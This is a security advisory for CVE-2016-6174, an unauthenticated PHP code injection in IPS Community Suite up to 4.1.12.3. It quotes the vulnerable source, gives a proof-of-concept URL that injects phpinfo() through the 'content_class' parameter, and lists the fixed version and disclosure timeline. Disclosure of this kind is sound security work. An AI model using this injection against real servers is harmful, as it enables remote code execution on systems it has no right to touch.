IPS Community Suite 4.1.12.3 PHP Code Injection

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IPS Community Suite <= 4.1.12.3 Autoloaded PHP Code Injection Vulnerability  
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[-] Software Link:  
  
https://invisionpower.com/  
  
  
[-] Affected Versions:  
  
Version 4.1.12.3 and prior versions.  
  
  
[-] Vulnerability Description:  
  
The vulnerable code is located in the /applications/core/modules/front/system/content.php script:  
  
38. $class = 'IPS\\' . implode( '\\', explode( '_', \IPS\Request::i()->content_class ) );  
39.   
40. if ( ! class_exists( $class ) or ! in_array( 'IPS\Content', class_parents( $class ) ) )  
41. {  
42. \IPS\Output::i()->error( 'node_error', '2S226/2', 404, '' );  
43. }  
  
User input passed through the "content_class" request parameter is not properly sanitized before being used in a call  
to the "class_exists()" function at line 40. This could be exploited by unauthenticated attackers to inject and execute  
arbitrary PHP code leveraging the autoloading function defined into the /applications/cms/Application.php script:  
  
171. if ( mb_substr( $class, 0, 14 ) === 'IPS\cms\Fields' and is_numeric( mb_substr( $class, 14, 1 ) ) )  
172. {  
173. $databaseId = mb_substr( $class, 14 );  
174. eval( "namespace IPS\\cms; class Fields{$databaseId} extends Fields { public static \$customDatabaseId [...]  
175. }  
  
Successful exploitation of this vulnerability requires the application running on PHP before version 5.4.24 or 5.5.8.  
  
  
[-] Proof of Concept:  
  
http://[host]/[ips]/index.php?app=core&module=system&controller=content&do=find&content_class=cms\Fields1{}phpinfo();/*  
  
  
[-] Solution:  
  
Update to version 4.1.13 or later.  
  
  
[-] Disclosure Timeline:  
  
[04/07/2016] - Vendor notified  
[05/07/2016] - Vulnerability fixed in version 4.1.13: https://invisionpower.com/release-notes/4113-r44/  
[06/07/2016] - CVE number requested  
[06/07/2016] - CVE number assigned  
[07/07/2016] - Public disclosure  
  
  
[-] CVE Reference:  
  
The Common Vulnerabilities and Exposures project (cve.mitre.org)  
has assigned the name CVE-2016-6174 to this vulnerability.  
  
  
[-] Credits:  
  
Vulnerability discovered by Egidio Romano.  
  
  
[-] Original Advisory:  
  
http://karmainsecurity.com/KIS-2016-11  
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